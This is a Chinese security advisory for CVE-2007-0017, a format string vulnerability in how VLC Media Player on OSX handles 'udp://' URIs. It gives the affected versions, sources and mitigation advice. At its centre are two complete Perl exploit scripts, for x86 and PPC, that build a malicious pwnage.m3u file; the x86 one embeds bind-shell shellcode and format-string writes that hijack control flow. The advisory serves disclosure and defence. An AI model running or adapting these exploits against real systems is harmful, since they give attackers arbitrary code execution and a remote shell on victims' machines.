发布日期：2007-01-04
更新日期：2007-01-04

受影响系统：

VideoLAN VLC Media Player 0.x

描述：

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BUGTRAQ  ID: 21852
CVE(CAN) ID: CVE-2007-0017

VLC Media Player是一款免费的媒体播放器。

VLC Media Player在处理畸形的URI串时存在漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。

VLC Media Player在处理“udp://”开头的URI串时存在格式串处理漏洞，远程攻击者可能利用此漏洞通过诱使用户访问恶意网页或打开恶意M3U文件控制用户机器。

<*来源：LMH （lmh@info-pull.com）
        Kevin Finisterre
  
  链接：http://secunia.com/advisories/23592/
        http://www.videolan.org/sa0701.html
        http://projects.info-pull.com/moab/MOAB-02-01-2007.html
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-x86.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

$outfile = "pwnage.m3u";

$bindshell =
"\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c\x89" .
"\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a" .
"\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97" .
"\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x0f\x89\xf1\xff" .
"\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" .
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";

# MALLOC                 02800000-03008000 [ 8224K] rw-/rwx SM=COW  ...e_0x1300000
# Pattern found @ 0x298589e
# Pattern found @ 0x298ba92

$jmpaddr = 0x41424344;

$lo = ($jmpaddr >> 0) & 0xffff;
$hi = ($jmpaddr >> 16) & 0xffff;

printf "jump address is: 0x%x%x\n", $hi, $lo;

$format = "%25" . ($lo-0x24) . "d" . "%25" . "23" . "%24" . "hn" . "%25" . ($hi-$lo) . "d" . "%25" . "24" . "%24" . "hn" ;

$writeaddr = 0xa0011393 ; # <dyld_stub___vfprintf>

printf "writing to file: %s\n", $outfile;
open(PWNED,">$outfile");

print PWNED "#EXTM3U\n" . "#EXTINF:0,1-07 " . "\x90" x 50 . $bindshell . "\n" .
"udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format . "i" x (999 - length("Can't get file status for ") ) . "\n";

close(PWNED);


================================================================

#!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites the saved return addy with the stack location of our shellcode.
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

# 0xf02031d2:      "--? 0j? 0h%11$hn.%12$hn", 'X' <repeats 177 times>...
# 0xf020329a:      'X' <repeats 200 times>...
# 0xf0203362:      'X' <repeats 200 times>...
# 0xf020342a:      'X' <repeats 200 times>...
# 0xf02034f2:      'X' <repeats 194 times>, "ZY"
# 0xf02035b7:      ""
# 0xf02035b8:      'X' <repeats 16 times>, "? 5?\005\017G?? 60"
# 0xf02035d5:      ""
# 0xf02035d6:      ""
# 0xf02035d7:      "\004\005\016

$format =
# make it more robust yourself... I'm lazy
# land in 0xf020 3362 - middle of shellcode
# "%2511%24hn.%2512%24hn" .
#
"%25" . (0x3362-0x24) . "d" . "%25" . "11" . "%24" . "hn" .
"%25" . 0xBCBE . "d" . "%25" . "12" . "%24" . "hn" ;

# 0xf020 3068 saved ret for MsgQueue()
$writeaddr = 0xf0203068;

open(PWNED,">pwnage.m3u");

print PWNED "#EXTM3U\n" ."udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format ."i" x (999 - length("Can't get file status for ") ) ."\n";

close(PWNED);

建议：

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临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 不要打开来源不可信任的M3U文件。

厂商补丁：

VideoLAN
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.videolan.org/

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